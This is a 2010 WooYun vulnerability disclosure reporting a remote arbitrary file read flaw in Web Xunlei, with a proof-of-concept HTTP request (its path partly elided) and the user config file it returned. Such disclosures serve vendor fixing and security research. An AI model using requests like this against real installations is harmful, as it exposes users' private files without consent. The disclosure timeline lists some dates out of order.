WooYun.org

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2010-0868

漏洞标题：web迅雷远程任意文件读取漏洞

相关厂商：迅雷

漏洞作者： 路人甲

提交时间：2010-11-23 17:08

修复时间：2010-12-23 18:00

公开时间：2010-12-23 18:00

漏洞类型：设计错误/逻辑缺陷

危害等级：中

自评Rank：10

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏

分享漏洞：

漏洞详情

披露状态：

2010-11-23： 细节已通知厂商并且等待厂商处理中
2010-11-23： 厂商已经确认，细节仅向厂商公开
2010-11-26： 细节向第三方安全合作伙伴开放
2011-01-17： 细节向核心白帽子及相关领域专家公开
2011-01-27： 细节向普通白帽子公开
2011-02-06： 细节向实习白帽子公开
2010-12-23： 细节向公众公开

简要描述：

web迅雷在设计上和实现上存在问题，导致恶意攻击者可以读取安装有web迅雷的用户机器上的任意文件

详细说明：

漏洞证明：

GET /.../Profiles/UserConfig.ini HTTP/1.1
HTTP/1.0 200 OK
Server: Xunlei Http Server/1.0
Date: Tue, 23 Nov 2010 09:02:07 GMT
Content-type: *
Content-length: 407
Last-Modified: Tue, 23 Nov 2010 08:43:15 GMT
[Skin]
CurrSkin=default.rar
SkinNames=default.rar
[Monitor]
ExtendNames=.asf;.avi;.exe;.iso;.mp3;.mpeg;.mpg;.mpga;.ra;.rar;.rm;.rmvb;.tar;.w
ma;.wmp;.wmv;.zip;.torrent;
FilterSitesMax=20
[EMuleGenericSettings]
EMuleWatchLink=1
[Update]
RunUpdate=0
[General]
TaskShowPerPage=11
[Antivirus]
Protect=0
FilePath=
Parameter=
[BHOSection]
StatsDay=2
[SavePath]
SetFolderIcon=1
Path=C:\Xunlei\
发送 43, r接受 579: 无sock
C:\Documents and Settings\Administrator>

修复方案：

版权声明：转载请注明来源 路人甲@乌云

漏洞回应